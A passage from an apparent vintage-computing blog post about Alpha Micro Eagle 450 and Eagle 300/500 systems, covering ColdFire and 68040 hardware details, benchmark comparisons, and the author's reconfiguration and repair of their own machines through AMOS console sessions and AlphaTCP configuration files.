Subsequently the company was tardy once again in adopting Motorola's newest 68K CPU, this time the superscalar 68060, which had come out in 1994 aimed squarely at the Intel Pentium but didn't reach Alpha Micro customers until mid-1997. This took two forms, a new 66MHz '060 Roadrunner upgrade option for the E550 Super Eagle and the AM-4000 (lesser Eagles need not apply), and a new AM-6000 large system. Interestingly, the AM-6000 is strongly based on the E550, reflected in its internal designation as the AM-3500-6000 making it a "stealth" Eagle. The '060 Roadrunner not only included the new CPU but also 64K of L2 cache, support for up to 256MB of RAM in four SIMM slots, and 68-pin Fast and Wide SCSI-2 using the NCR 53C770.

In fall 1997 Alpha Micro proudly announced over a thousand Roadrunner '030 systems alone had been sold, mostly E300s,

along with E100s and a smattering of E500s and Super Eagles. However, it was not lost on company management that Motorola believed the 68000 family was fast approaching a performance wall. This was made most clear by their then-enthusiastic participation in the PowerPC AIM alliance, but also the rise of ColdFire, which Motorola had first announced in 1994 as well. ColdFire was in its own way Motorola's oblique admission that 68K was losing desktop competitiveness to x86, an attempt to scale the ISA down to embedded markets where its familiarity could be an asset. Approximately 20% of the instruction set such as BCD and certain addressing modes were eliminated, meaning the canonical ColdFire could not be fully binary-compatible with any extant 68K. On the other hand, such cuts enabled the core to execute nearly every remaining instruction in a single clock cycle, and the initial die was a miniscule 4.4mm² at 0.5μm, a third the size of Motorola's own 68300-series CPU32+.

Some amount of this work was done by altering the microcode of the 68040V, a fully static 68LC040. Mindful that ColdFire's incompatibility might impair adoption, Motorola chose to create a bridge first-generation chip from this altered 68040V where omitted user mode instructions were left in, demonstrated on die photos . While the new chip had smaller 2K instruction and 1K data caches than the 68040V, and the MMU was also eliminated, this deviation from spec was still sufficient to run regular 68EC040 code at the user level. Motorola called this first-generation ColdFire chip the MCF5102, produced on a 0.6μm process, and introduced it in 1995 drawing 0.8W at 20MHz and reaching 33MHz. Clock-for-clock there was no way this chip could eclipse an '060, and the emerging "true" ColdFire 520x series couldn't run existing Alpha Micro software, but the MCF5102 was still faster than an '030 and nearly as fast as an '040 — in fact, we'll prove it. On top of that it was cheaper and AMOS didn't need the MMU anyway, making for a plausible mid-range machine that wouldn't imperil (much) sales of the E500 or E550.

In August 1998, Alpha Micro announced their first ColdFire system based on the MCF5102, and near as I can tell was the first ColdFire-based server ever produced. To visually demonstrate its break from the past, the new system got a new, more modern minitower case (also off-the-shelf) with a mix of 5.25" and 3.5" bays but kept the same Eagle badges. Intended to slot between the E300 and E500, it was thus dubbed the Eagle 450.

Although Rod Hewitt was no longer working full time for Alpha Micro by then, he still had enough of a relationship with the company that they lent him a pre-production model for evaluation, which he received with enthusiasm. He was generally complimentary in his public review to alt.sys.alpha-micro , though credit must be given to John F. G. Leighton, then Alpha Micro's VAR marketing manager, who chose to print the review unedited in marketing materials, even Rod's gentle complaints. Since this is the only E450 I have personally laid my hands on, we will be referring to his comments liberally as a point of comparison, and consequently the E450's history is probably the best documented of any 68K Eagle. It rolled out to users in October at the annual meeting in nearby Riverside, California.

This particular system was a gift from someone who inherited it from an 9-1-1 emergency dispatch centre and wanted to find it a good home, another way that running an Alpha Micro-powered web server has paid off. I was able to quickly get into the system (if it's not clear by now, I love hacking into Alpha Micros) and reconfigure it, and it had lurked as the E300's work spare and a test unit since then. Like the E300 it has a bootable tape drive, but this time it's a more modern DDS/DAT.

The E450's new case became the standard for subsequent systems (my E100s are both in this case) but still has the same basic rear layout with eight cutouts for each bank of serial ports, albeit slightly rearranged. Some aspects of the system, like the on-board UPS monitoring port, were derived from the E550 as was the same Seiko timekeeper chip, improved Ethernet NIC, and on-screen "CMOS setup" tool in ROM. On the other hand, its NCR 53C770 Fast and Wide SCSI-2 controller came from the '060 Roadrunner, and the system has but one parallel port and only twisted-pair Ethernet (no AUI). Take note of the pop-out panel just above/north of the RJ-45 Ethernet jack; I will comment on this specifically later. I don't know what the handwritten "#8218" means.

Two fans run at the top, one in the AT supply plus a case fan; just below/south of the case fan is the 68-pin external SCSI connector. There are some shenanigans with this particular unit's documentation and internals, to be demonstrated as well, and I've long wondered if this was some sort of test model (the donor did not know). In particular, the serial number of "9999" on the backplate is clearly bogus, the model number should be AM-3500- E 450, and it claims not to have an SSD at all (untrue). As such, I'm not sure I can believe the stated manufacturing date of September 2002, and at least one date inside directly contradicts it. It's possible this was a case with a transplanted board.

The E450 is another unified board called the AM-138. Alpha Micro made upgrade kits (again, basically board swaps) for the AM-1600, E100, E300 and E500 that replaced their internal components with this one. The internal SCSI cable can be seen going from the rear port to the DDS tape drive and hard disk ...

... and then to the AM-138, covering up the 53C770 controller behind it. There are two SCSI connectors on the logic board, but not two busses, and they can't be used at the same time. The top 50-pin one is meant for when all you have are narrow devices; the bottom 68-pin one is the higher-performance wide connector, though the SCSI bus on this machine is finicky about what it will talk to. As the AM-138 no longer supports the older AM-219 floppy controller, an optional SCSI floppy disk drive was made available as a substitute.

Although you can see three paddlecard connectors which are compatible with the same AM-314 and AM-318 serial cards, the E450 embeds an SC28C94-based AM-318-10 with Super I/O into its own board similar to the E100. Each four port half goes to its own AM-90 Lightning board to total our eight serial ports. The 3.6864MHz serial clock crystal can just be seen peeping out from behind the rear board in this view.

This is the replacement timekeeper, a Seiko Epson RTC65271. You can pry the BR1225 batteries out of it and replace them far more easily than any dead Dallas timekeeper. Also visible is the SSD in its usual PLCC socket, to the southeast/lower right, and the first of several unpopulated regions on this board, the AUI connector at J3 to the northwest/upper left.

Several more glaringly unpopulated areas are apparent despite a board copyright date of June 2001 (top left/northwest corner, next to the AT power connectors), well after the E450's ostensible introduction. The major one is labeled "PCI," at J6 and J5, kitty-corner to the DP83902VF NIC at U15. That is indeed per Rod's summation where two PCI slots were supposed to go, along with their IDT CA91C860 68K host-to-PCI bridge chip on the empty pads near the centre of the image. The PCI era arrived during the 68K architecture's market decline, making PCI slots unusual in any 68K system, and the manual for the E450 says the PCI slots were "[n]ot supported in initial release" consistent with Rod's observation that the regions were taped over.

However, Alpha Micro was already advertising E450 systems with PCI slots in 1999 as prerequisites for the AM-370, an unidentified off-the-shelf 100Mbit PCI NIC that goes into the "slot" at J5. To access these PCI slots, that rear panel I pointed out needs to be removed. The AM-370's availability implies all shipping E450s should have had them by then — there was even an alleged board-swap program to do so. I've yet to find another one, so I don't know if that's true, but it would be interesting to find out because with this card or the OEM equivalent you would have two fully operational NICs and multihoming was reportedly supported. I also don't know what's going on with the unpopulated "option connector" at P5 to the right/east of the AT power connectors.

At least there are connectors for the other slots. The E450 is one of only a few Alpha Micro systems that can accept an optional external L2 cache, though as mentioned this cache is only enabled for instructions, and the form factor does not match any PC cache stick — in fact, it's the same as a 72-pin SIMM, so don't put the wrong one in the wrong place (Rod also objected to this). The only size supported is 64K, the same cache stick used for the AM-6000 and the '060 Roadrunner, part #PDB-00701-00. I've never seen this cache stick and comparison of his numbers with my cacheless E450 suggests it only yields around a fourteen percent boost, not nothing but not much, likely because it can't do anything for the data cache (though stand by for a very important observation on actual clock speed).

The E450 also has two 72-pin SIMM slots, which need not be paired and support up to 256MB, though as with the earlier systems the machine needs to be jumpered to tell it how much is there. The tag on the one in J11 (service order 13009, apparently) is dated January 18, 2002: that makes this machine at least eight months older than its alleged manufacturing date, and to have received an upgrade suggests it's even older than that. Between the two sticks this system has 72MB of RAM. Below/south of the RAM SIMMs are the three paddlecard slots.

Also in this image is another obvious non-populated area: a pin-grid array marked "PGA040" at U89 in the northeast/upper right hand corner. That sounds like somewhere the CPU would go, and the footprint looks like an '040. So where's the actual processor?

The ColdFire MCF5102 is in fact hidden behind the drive bays, the only chip with a heatsink, which should tell you it's doing an awful lot of work. How fast is it doing it, though? While Rod's review stated his prerelease system was apparently running at 33MHz, the oscillator closest to the CPU can be seen clearly in this photograph, and it's ... 25MHz. There are no other crystals on the board except for the serial port one you saw earlier, the official marketing announcement has a board layout that also clearly labels this crystal as 25MHz, and nothing in the MCF5102 user's manual says the chip does anything tricky with the clock. As it happens, the only place in Alpha Micro documentation where the E450's CPU speed is given is Rod's review: everywhere else, even the data sheet, simply says it's a ColdFire and nothing more. Since mine is only 14% slower than his, and his had the cache, his can't possibly have been running at 33MHz either. The E450 is a 25MHz ColdFire, full stop.

In a backwards way, however, this is nothing less than validation of how performant early ColdFires could be. Recall that our E300, a 40MHz 68EC030, had a "CX" computing index score on the SI.LIT benchmark of 36.9. The same benchmark on this E450 with a 25MHz MCF5102 gets a score of 59.9 , and Rod's with 64K L2 came in at a whopping 68 (Alpha Micro said 68.5; either one is around 14% higher). By contrast, the E550 Super Eagle, with a full 40MHz ("80MHz") 68040 Roadrunner clocked 60% faster and 32K of L2 cache, officially gets ... 79.9 (note from the future: my figure is 83.6) — the full cached-up faster-clocked 68040's performance on the same code is only around 33-40% better, and just 16-22% or so if the E450 has its cache too. Put another way, the CX/MHz ratio of the faster 68040 was right around 2.0, while the CX/MHz ratio of the MCF5102 is 2.4 without the cache, and almost 2.75 with it.

Likely because the lower clock speed would have looked bad in marketing materials, similar to why General Magic never mentioned the clock speed of the DataRover 840 , Alpha Micro simply chose not to mention it either. Still, this machine's surprising efficiency proves ColdFire, at least early on, definitely had legs. I'm not sure how Rod got it wrong except that an earlier version may indeed have run that part, though with these numbers, if there had ever been a production 33MHz E450 it might have seriously endangered sales of Alpha Micro's remaining '040s — perhaps that's why they didn't use it even though the faster part existed. Best guess is that the AM-138 was originally designed for the 68040 and then quickly retrofitted for ColdFire, leaving the PGA region as an "R&D test point" (as documented).

Here's the front panel connection.

And here it is booting up (the activity lights are hidden LEDs). I copied over the backup of the website, reconfigured its AlphaTCP webserver, which is more recent than the E300's, and pointed the reverse proxy to it instead. With the faster CPU, better Ethernet, more memory and bugfixed TCP stack it performed rather well.

Still, I wanted to fix the original system, and since I wasn't exactly sure what I'd ruined, I figured the simplest thing to do was find another unit and either swap out the boards or move the hard disk, RAM, SSD and serial ports into the new one. However, these systems never turned up much on eBay or similar places even when they weren't nearly as old, and other than a few intermittent AM-1000s in varying states of disrepair I didn't see any other Alpha Micros, let alone an Eagle 300, come through at all.

I eventually contacted Alpha Micro directly through their current website to see what they might have still in stock, or if they had a VAR to recommend for parts. By this point Alpha Microsystems and its remaining IP had been sold to a private consortium and reconstituted as Alpha Microsystems LLC, with the original California business entity ceasing to exist, and it was this new Alpha Micro that I conversed with. I got to spend a couple pleasant hours doing a phone interview with one of AM LLC's principals, which I used to update the website and reported on in our prior entry , and he referred me to a longtime Alpha Micro vendor that they still partner with for existing installations. It took a few months, but this vendor was able to locate what appeared to be another E300 with working boards and we negotiated a price and getting it shipped.

Here's how it arrived. A bit more yellowed and dirty, and no tape streamer, but I figured I could just transplant the boards into the old case and use what was there.

The back was a little more interesting. This unit is serial #01300, earlier than my original E300, and its older backplate here doesn't indicate when it was manufactured, though a small sticker at the bottom suggests April 1996. The standard complement of I/O board ports is present, but the topmost eight ports are DE-9 ("DB-9") and the bottom two slots look like Centronics-style SCSI connectors. These connectors are actually RJ-21s that use a breakout cable; the true external SCSI port has a terminator installed for just-in-case. This system must have supported a lot of simultaneous serial ports previously.

Like the E100's, these DE-9 ports are not PC "COM" ports; they need conversion. In one of the ports was a cockeyed AM DE-9 to RJ-45 dongle which makes it basically the same as the RJ-45 serial ports in our other systems. I powered it on and tried using it as the console port, but didn't get anything. Eventually I discovered where it was with my "everything console" connected to the top left port (G1) via the dongle at the typical speed of 19200bps.

.
.
.
.systat
Status of AMOS Version 2.3A(489) on Friday, May 15, 2026 06:35:37 PM

JOB1   TRM1    System Service     DSK0:1,4       RN  SYSTAT      1615372  bytes
LOGJOB LOGTRM  System Service     DSK0:1,2       SL  LOGGER           30K bytes
TASK   MANAGR  System Service     DSK0:1,2       SL  TSKIDL         1250K bytes
TASK01 TASK01                     Not logged in  ^C  MEMORY          750K bytes
MALSER MALSER  System Service     DSK0:1,2       SL  MALSER          100K bytes
NETSER NETSER  System Service     DSK0:7,50      MS  NETSER          200K bytes
VTSER  VTSER   System Service     DSK0:1,4       MS  VTSER            75K bytes
NETLOG NETLOG  System Service     DSK0:1,2       MS  NETLOG           40K bytes
TCPEMU TCPEMU  System Service     DSK15:7,50     SI  TCPEMU         3500K bytes
FTPD   FTPD    System Service     DSK15:7,50     SI  FTPD             50K bytes
TELNED TELNED  System Service     DSK15:7,50     SI  TELNED          100K bytes
TELNEE TELNEE  System Service     DSK15:7,50     SI  TELNED          100K bytes
HTTPD  HTTPD   System Service     DSK15:7,50     SI  HTTPD           100K bytes
TAMED  TAMED   System Service     DSK15:7,50     SI  TAMED           200K bytes
50 jobs allocated on system, 14 jobs in use (13 logged in)
Total memory on system is 32M bytes
System uptime is 00:01:42

DSK0    15281 Blocks free       DSK1     2230 Blocks free       
DSK2    46314 Blocks free       DSK3    64972 Blocks free       
DSK4    64972 Blocks free       DSK5    64972 Blocks free       
DSK6    64972 Blocks free       DSK7    64972 Blocks free       
DSK8    64972 Blocks free       DSK9    64657 Blocks free       
DSK10    22105 Blocks free      DSK11    64972 Blocks free      
DSK12    64972 Blocks free      DSK13    64972 Blocks free      
DSK14    64972 Blocks free      DSK15    61819 Blocks free      
DSK16    64972 Blocks free      DSK17    64972 Blocks free      
DSK18    64972 Blocks free      DSK19    64972 Blocks free      
DSK20    64972 Blocks free      DSK21    64972 Blocks free      
DSK22    64972 Blocks free      DSK23    64972 Blocks free      
DSK24    64972 Blocks free      DSK25    64972 Blocks free      
DSK26    64972 Blocks free      DSK27    64972 Blocks free      
DSK28    64972 Blocks free      DSK29    64972 Blocks free      
DSK30    64972 Blocks free      DSK31    64972 Blocks free      
DSK32    64972 Blocks free      DSK33    64972 Blocks free      
DSK34    64972 Blocks free      DSK35    64972 Blocks free      
DSK36    64972 Blocks free      DSK37    64972 Blocks free      
DSK38    64972 Blocks free      DSK39    64972 Blocks free      
DSK40    64972 Blocks free      DSK41    64972 Blocks free      
DSK42    64972 Blocks free      DSK43    64972 Blocks free      
DSK44    64972 Blocks free      DSK45    64972 Blocks free      
DSK46    64972 Blocks free      DSK47    64972 Blocks free      
DSK48    64972 Blocks free      DSK49    14650 Blocks free      
DSK50    30157 Blocks free      DSK51     2835 Blocks free      
DSK52    64972 Blocks free      DSK53    64972 Blocks free      
DSK54    64972 Blocks free      DSK55    64972 Blocks free      
DSK56    64972 Blocks free      DSK57    64972 Blocks free      
DSK58    64972 Blocks free      DSK59    64972 Blocks free      
DSK60    33406 Blocks free      DSK61    40123 Blocks free      
DSK62    53393 Blocks free      DSK63    64972 Blocks free      
DSK64    64972 Blocks free      DSK65    64972 Blocks free      
DSK66    64972 Blocks free      DSK67    30787 Blocks free      

71 devices on system, total of 3991217 blocks free
.log opr:
Transferred from SYS: to OPR:
Caution - other jobs same PPN

Good, it booted fine, we got a dot prompt, we can get into it, networking is already configured, and (as is typical for most Alpha Micro installations of the era) there is no password on the operator account. I powered it off and now that we know where the system thinks the console is, we'll get a proper self-test readout. I powered it back on with the reset button held in and the self-test came right up. The self-test can autosense the baud rate by mashing the spacebar when the front LED flashes "5b," and then the test runs, with the LED showing the current state and additional details sent to the serial port.

----------------
SYSTEM SELF-TEST
----------------
Version 2.1(120)
Prom Rev. N00 for the AM-174 board.
polling complete.

Boot configuration:
 Processor - 68040
 Memory detected - 32M bytes
 Primary serial ports - 4
 SCSI Controller

press [space] to bypass memory test

MEMORY TEST passed - 32M bytes

TIMER TEST passed

SERIAL PORT TEST
 Primary serial ports - 4
  Port # 0 passed
  Port # 1 passed
  Port # 2 passed
  Port # 3 passed

SCSI Controller
 Controller Self-test passed
 SCSI drive Self-test passed
 Find diagnostic cylinder passed
 Write/read test passed

Wait — a 680 40 ?! This is not a Eagle 300! We need to open this thing up.

Because of all those serial ports I expected a lot more cabling coming off the AM-319 system board, and indeed there was. But what I didn't expect was the CPU board on the bottom: it's a full 68040, just like the test said.

This is the faster of the two AM-174 CPU boards, the '040 boards for the original two-piece Eagles I mentioned earlier. Although Alpha Micro eagerly billed this AM-174-02 as having an "80MHz" 68040, that sort of marketing is deliberately simplistic. Recall that 68040s take two clock signals, one labeled

Bclk

for the bus clock, and then a second exactly twice as fast labeled

Pclk

as the so-called processor clock. In the 68020 and 68030, which accept a single clock signal, their internal ALU runs at only half the bus speed such that the 40MHz 68EC030 in the Eagle 300 actually has an ALU running at just 20MHz. For the 68040 Motorola removed this limitation to run its ALU at full bus speed, but the chip designers also studied trace data to optimize for the most common instructions, implementing a 7-stage pipeline where most effective address calculations and fetches occur with no penalty. The upshot of this was to cut most instructions' cycle count in half or more.

The 2x processor clock is truly used, but not to speed up the ALU, so it's wrong to say the 68040 is "double-clocked." In a two-part 1990 article in IEEE Micro , Motorola explains that "Pclk provides timing reference points within each Bclk period," employing it for synchronous sub-cycle timing, and furthermore explicitly states that "all internal operations cycle at the Bclk rate." Still, the fact this clock signal was present at all gave Apple an excuse to tout both timings for '040 Macintoshes, and Alpha Micro cheerfully reported just the faster one, even though the chip only appears to run at that comparative speed from its larger 4K L1 cache, unhindered ALU and reduced cycles per instruction.

On this board, Pclk is provided by the same 80MHz crystal we saw on the AM-172, divided down by two to yield Bclk in the same way the 68EC030 board does for its single 40MHz clock. (For the E400's AM-174-00, this crystal would have been 66MHz divided down to 33MHz.) The single parity FPM SIMM slot and 16MHz and 50MHz oscillators are also present, as well as the same 53C710 SCSI controller, here a genuine NCR part. However, new for this board is 32K of L2 cache at the upper right/northeast corner, implemented with two IDT 71B74 8K cache-tag RAMs together providing 29 bits (512MB) of address comparison, and then four Cypress CY78C185 8K SRAMs for the cache itself. Remember, however, that in AMOS all cache is I-cache.

Effectively this 40/80MHz AM-174 makes our new system a full Eagle 500 , so why is it labeled as "only" an E300? I don't how how these systems originally shipped from the factory nor whether the E500 designation actually appeared on the back, but Alpha Micro did run a promotion in late 1997 where you could upgrade any Roadrunner '030 to a Roadrunner '040 by swapping the CPU board. My guess is this is one of those systems, and because that upgrade kit wouldn't have changed the plate on the back itself, the reseller simply noted it to be a working E300 and sold it to me as such. While that wasn't exactly what I was hoping for, it's a really nice bonus, as evidenced by the system benchmark (taken on the SCSI hard disk it shipped with):

.si dsk0:
   SI--AMOS System Information, (C) Copyright 1990, Alpha Microsystems Inc.
                               Version 3.0(115)-1

               Computer Type: Eagle
              Main Processor: 68040
                Co-Processor: 68882
                 MMU present: Yes
            Operating System: AMOS 2.3A(489)
          Boot PROM revision: Unknown
              Number of SSDs: 1
                Total Memory: 32768 K-bytes
     Resident Monitor Memory: 25245 K-bytes

     Computing Index (CX), relative to AM-100:    83.6
     48 bit FP Index (4X), relative to AM-100:    34.1
Floating Point Index (FX), relative to AM-100/L:  1700.0
          Disk Index (DX), relative to ST-506:    23.4

That score officially makes it the new fastest Alpha Micro in the shop by far (this is where that prior 83.6 number came from, compared to the E450's 59.9 and E300's 36.9). It seemed a shame to carve it up as spare parts, so let's have a little look around.

.log sys: 
Transferred from OPR: to SYS:
Caution - other jobs same PPN

.type amos32.ini
:T
;
JOBS 50
;
JOBALC JOB1,LOGJOB,TASK,TASK01
JOBALC MALSER,NETSER,VTSER,NETLOG,TCPEMU
;
LOAD LOAD.LIT
LOAD DEL.LIT
LOAD SYSMSG.USA
LOAD TRMDEF.LIT
LOAD DEVTBL.LIT
LOAD BITMAP.LIT
LOAD SYSTEM.LIT
LOAD MOUNT.LIT
;
TRMDEF TRM1,AM314=0:19200,FWYCOL,200,200,200,EDITOR=15
;TRMDEF MODEM,AM314=2:57600,AM65A,200,200,200,EDITOR=15
;TRMDEF OKI320,AM314=3:9600,PSEUDO,200,200,100
;
TRMDEF LOGTRM,PSEUDO,NULL,100,100,100
TRMDEF MANAGR,PSEUDO,NULL,100,100,100
TRMDEF TASK01,PSEUDO,AM62A,1000,1000,100
;
TRMDEF MALSER,PSEUDO,NULL,100,100,100
TRMDEF NETLOG,PSEUDO,NULL,100,100,100
TRMDEF NETSER,PSEUDO,NULL,100,100,100
TRMDEF VTSER ,PSEUDO,NULL,100,100,100
TRMDEF TCPEMU,PSEUDO,NULL,100,100,100
;
; --- Terminal Drivers ----
TRMDEF AM62A,PSEUDO,AM62A,10,10,10
TRMDEF FLP62A,PSEUDO,FLP62A,10,10,10
TRMDEF FWYCOL,PSEUDO,FWYCOL,10,10,10
TRMDEF FLWCOL,PSEUDO,FLWCOL,10,10,10
;
[...]
;
; TCP STUFF
SYSTEM DVR:AM319.LDV/N
SYSTEM RPC.SYS/N
SYSTEM TCP:IPCINI/N 500 500K
SYSTEM RTI
SYSTEM TCP:FTPD
SYSTEM TCP:FTPD.RTI
SYSTEM TCP:HTTPD
SYSTEM TCP:HTTPD.RTI
SYSTEM TCP:LPD
SYSTEM TCP:LPD.RTI
SYSTEM TCP:LPR
SYSTEM TCP:LPR.RTI
SYSTEM TCP:SMTPD
SYSTEM TCP:SMTPD.RTI
;SYSTEM TCP:SNTPD
;SYSTEM TCP:SNTPD.RTI
SYSTEM TCP:QPOP3D
SYSTEM TCP:QPOP3D.RTI
SYSTEM TCP:TAMED
SYSTEM TCP:TAMED.RTI
SYSTEM TCP:WEBCNT
SYSTEM
[...]
MEMORY 0
.

A surprising thing about the system configuration file ( SYS:AMOS32.INI , a/k/a AMOS32.INI[1,4] ) is that only one terminal is actually defined, which makes you wonder what those two RJ-21s are doing. Best guess is that this machine passed through a couple hands and ended its prior service as a single user's toy, much as my own machines are now. In a related phenomenon an annoyingly small number of terminal types are defined, all inconvenient, likely to save memory. On the other hand, the full AlphaTCP suite (based on SpiderTCP and SpiderStreams, best known as the Windows NT TCP/IP stack before 3.5) is defined and present, and we saw it running before, so we ought to be able to make use of that.

.log tcp:
Transferred from SYS: to TCP:
Caution - other jobs same PPN

*****************************************************************************

TCP: Account

*****************************************************************************
.dir /w
DSK15:[7,50]
VUENL  CMD 1    ATCP   GIF 6    NSLOOK HLP 4    BBSERV LIT 66   
BOOTPC LIT 103  BOOTPD LIT 99   FTPD   LIT 178  FTPLOG LIT 31   
HTTPD  LIT 151  IMGMAP LIT 40   IPCINI LIT 2    IPFW   LIT 93   
ITCD   LIT 105  LPD    LIT 109  LPR    LIT 127  NETLOG LIT 52   
POPPWD LIT 93   POP3D  LIT 113  QPOP3D LIT 114  RWHOD  LIT 94   
SLIPD  LIT 106  SMTPD  LIT 207  SNTPD  LIT 115  TAMED  LIT 166  
TCPEMU LIT 380  TDDD   LIT 123  TELNED LIT 110  TFTPD  LIT 127  
TNWRAP LIT 1    VDOM   LIT 4    WEBCNT LIT 5    BBSERV NEW 12   
BOOTPD NEW 1    CONFIG NEW 4    FTPUSR NEW 1    GOTCP  NEW 1    
HOSTS  NEW 1    HTTPD  NEW 6    IPFW   NEW 3    ITCD   NEW 1    
LPR    NEW 1    MYNAME NEW 1    NETWRK NEW 1    POPUSR NEW 1    
RESOLV NEW 1    SERVIC NEW 2    SNTPD  NEW 2    TCPEMU NEW 1    
TDDD   NEW 1    WHOIS  NEW 1    SERVIC OLD 4    BBSERV RTI 1    
BOOTPC RTI 3    BOOTPD RTI 6    FTPD   RTI 19   HTTPD  RTI 4    
IPFW   RTI 6    ITCD   RTI 3    LPD    RTI 3    LPR    RTI 4    
NETLOG RTI 1    POPPWD RTI 6    POP3D  RTI 3    QPOP3D RTI 3    
RWHOD  RTI 3    SLIPD  RTI 2    SMTPD  RTI 7    SNTPD  RTI 6    
TAMED  RTI 6    TCPEMU RTI 13   TDDD   RTI 6    TELNED RTI 2    
TFTPD  RTI 4    SERVIC AGT 4    NETLOG LST 3    VUENL  LST 3    
NETLOG OLD 3    SERVIC     4    TIMZON BAK 1    QKSB20 TMP 1    
TCPEMU     1    TIMZON AGT 1    CONFIG BAK 4    HOSTS      1    
LPR        1    HRPB20 TMP 1    GOTCP  CMD 1    CONFIG AGT 4    
FTPLOG LOG 1    FTPUSR     1    TCPEMU AGT 1    NETWRK AGT 1    
START  CMD 1    MYNAME AGT 1    RESOLV AGT 1    LPR    AGT 1    
HOSTS  AGT 1    FTPUSR AGT 1    RESOLV     1    SMTP   BAK 1    
SMTP   DFT 1    HCOB20 TMP 1    SMTPD  LOC 1    CONFIG     4    
MYNAME BAK 1    SMTPD  FWD 1    MYNAME     1    JNPB20 TMP 1    
AMPB20 TMP 1    HOSTS  BAK 1    3RPB20 TMP 1    RESOLV BAK 1    
P0PB20 TMP 1    SMTPD  BAK 1    SMTPD  ALI 1    7CJB20 TMP 1    
0BJB20 TMP 1    NETWRK     1    TIMZON     1    NETWRK BAK 1    
Total of 120 files in 3150 blocks

.type netwrk.
#ident "@(#)networks    1.4     9/4/90"
#
#   NETWORKS
#
# Contains information on networks comprising the DARPA Internet.
#
#   The fields are:
#
# official network name    network number    alias  [ alias ]  [ alias ]...
# 
#   for example:
#
#        ethernet             89.0.0.0       ether     eth        net
#
ethernet        192.168.0.133   ether eth net
#ethernet       192.168.1.133   ether eth net
#slip           192.168.2.1     serial
loop            127.0.0.1       local

That's its IP address, and we saw Telnet was running ( TCP:TELNED.LIT ), but there's a snag:

.type config.
#  attach the ethernet to the internet package (using AlphaNET NDVs):
#  EXAMPLE: ifconfig <interface> <AlphaNet Network #> arpa <receive buffers>
#ifconfig ec0 101 arpa 100
#  attach the ethernet to the internet package (using standalone LDVs):
#  EXAMPLE: ifconfig <interface> <driver>
ifconfig ec0 am319
#  attach the slip interface to a slip daemon:
#  EXAMPLE: ifconfig <interface> <terminal> <dialup script>
#ifconfig asy0 modem1 dialup.slp
#ifconfig asy1 modem2
#ifconfig asy2 modem3
#ifconfig asy3 modem4
#  change the tcp close timeout to fit the environment
#  EXAMPLE: closetime <seconds>
#closetime 120
#  change the tcp keepalive timeout to fit the environment
#  EXAMPLE: keepalive <minutes>
#keepalive 15
#  disable all packets unless ipfw (or tcpmon) is running
#mustfirewall
#  start up the daemons (servers)
#  EXAMPLE: start <daemon> <memory> <options...>
#  (these assume ftpd, tftpd, smtpd, pop3d, lpr, lpd, and httpd are 
#  in system memory)
#
#start rwhod 75k
start ftpd 50k -n -o -T
start httpd 100k -mHTM:
#start telned 100k "-lLOGON" 1965 400K flwcol "Local Access"
start telned 100k "-lLOGON" 0 400K fwycol "Local Access"
start telned 100k "-lLOG SYSTEM SERVICE" 7666 400K FWYCOL "Remote Access"
[...]

The TCP:CONFIG. file sets up TCPEMU , AlphaTCP's master daemon, acting as its service description file (really a sort of up-script). This line for the Telnet daemon causes an automatic log-on from a Telnet session and inconveniently forces the FWYCOL terminal type, intended for a real Wyse WY-370. That's also the terminal setting for the single serial port which our "everything console" doesn't speak, meaning I can't visually edit anything without making a big mess. Ironically, that AM-75 colour head my E300 uses is itself a modified WY-370, but no longer speaks that terminal emulation either.

But we have another option! Now knowing its IP address, I set up a small wired network to my MacBook Air. Although some terminal programs like Kermit 95 can speak WY-370 over Telnet, using MacWise — now freeware and runs on Tiger and Power Macs all the way to Tahoe on Apple silicon — I managed to discover that its TeleVideo 925 emulation will partially match FWYCOL . This was just enough to, with some care, edit TCP:CONFIG. and remove all the defaults so that I could manually select the terminal type on Telnet login. I then reset the FTP user credentials in TCP:FTPUSR. , uploaded a copy of ANSI.TDV from the Eagle 450, and changed the TDVDEF line in a test copy of SYS:AMOS32.INI to allow it as a terminal type, which at last got me a proper session.

I'm not sure of this system's most recent owner and the seller didn't know either, but there were two interesting domains in its TCP:HOSTS. file (identical to /etc/hosts ) for that IP address. One domain name belongs to someone who appears to have been a recording engineer (!). This domain still exists, but is only partially functional, so I've chosen not to link it here. The other domain name was for a personal genealogy site, now parked, and that site appeared to be what it was currently offering via the Web server on HTM: , mapped to PPN [7,77]. However, because the HTML files were not on an extended directory device, I can't tell when the site was created because the old AM file system doesn't preserve modification times:

.log htm:
Transferred from TCP: to HTM:

.type home.htm
<html>
<head>
<META NAME="description" CONTENT="Home page.">
<META NAME="keywords" CONTENT="home,page">
[...]
</table>
<hr>
</body>
</html> 
.dir /full
PUBLIC PPN   1    <00505051717>  000-000-000-000  --------- --:-- --------- --:-- --------- --:--                      47211  DSK0:[7,77]
HOME   HTM   1    <00505051717>  044-112-056-204  --------- --:-- --------- --:-- --------- --:--                      47212 

Looking up this domain in the Wayback Machine, it seems to have been active in the early 2000s. Still, not bad assuming it was still serving it then.

I dragged the ailing hulk of the E300, now sans hard disk, back out of climate-controlled storage. By this time it had sat with no power and no clock battery for over eight months.

The plan was to transplant the AM-319 and AM-174-02 as a matched pair from the "secret" E500 into the nicer case of the E300. This was first because I wasn't sure which (if either) board I'd busted, and second to avoid disconnecting and possibly incorrectly reconnecting the X-BUS: besides the fact that a misconnected X-BUS can wreck the system, the X-BUS is connected differently on the AM-172 and AM-174s, so it seemed safer just to never separate them in the first place. I wasn't even going to move the SSD and hard disk — since TCP/IP networking was already set up on the E500, I could just upload the site to the E500's hard disk instead. Only the E300's power supply, serial port cards and Tandberg QIC streamer would stay. Once the new transplanted system was working, then I'd see about doing the ZuluSCSI upgrade again.

Before committing to surgery, and leaving its hard disk still out, I reconnected the E300's system board to give it one more chance to start. Checking all my connections thoroughly, I then plugged it into the power strip and turned it on, expecting to see the dreaded 2d code again.

It tried to boot.

Startled, I powered it off, connected the everything console, and turned it back on with the reset button held in to force a self-test. Except for the missing hard disk, it passed the self-test — even the SCSI controller tested good.

I decided to push my luck and connect the ZuluSCSI, and this time it did throw a 2d. I freaked out again, powered it off, let it sit and then gingerly turned it back on. It still did it. However, when I disconnected the ZuluSCSI, it went back to trying to boot, and a repeated self-test was still clean.

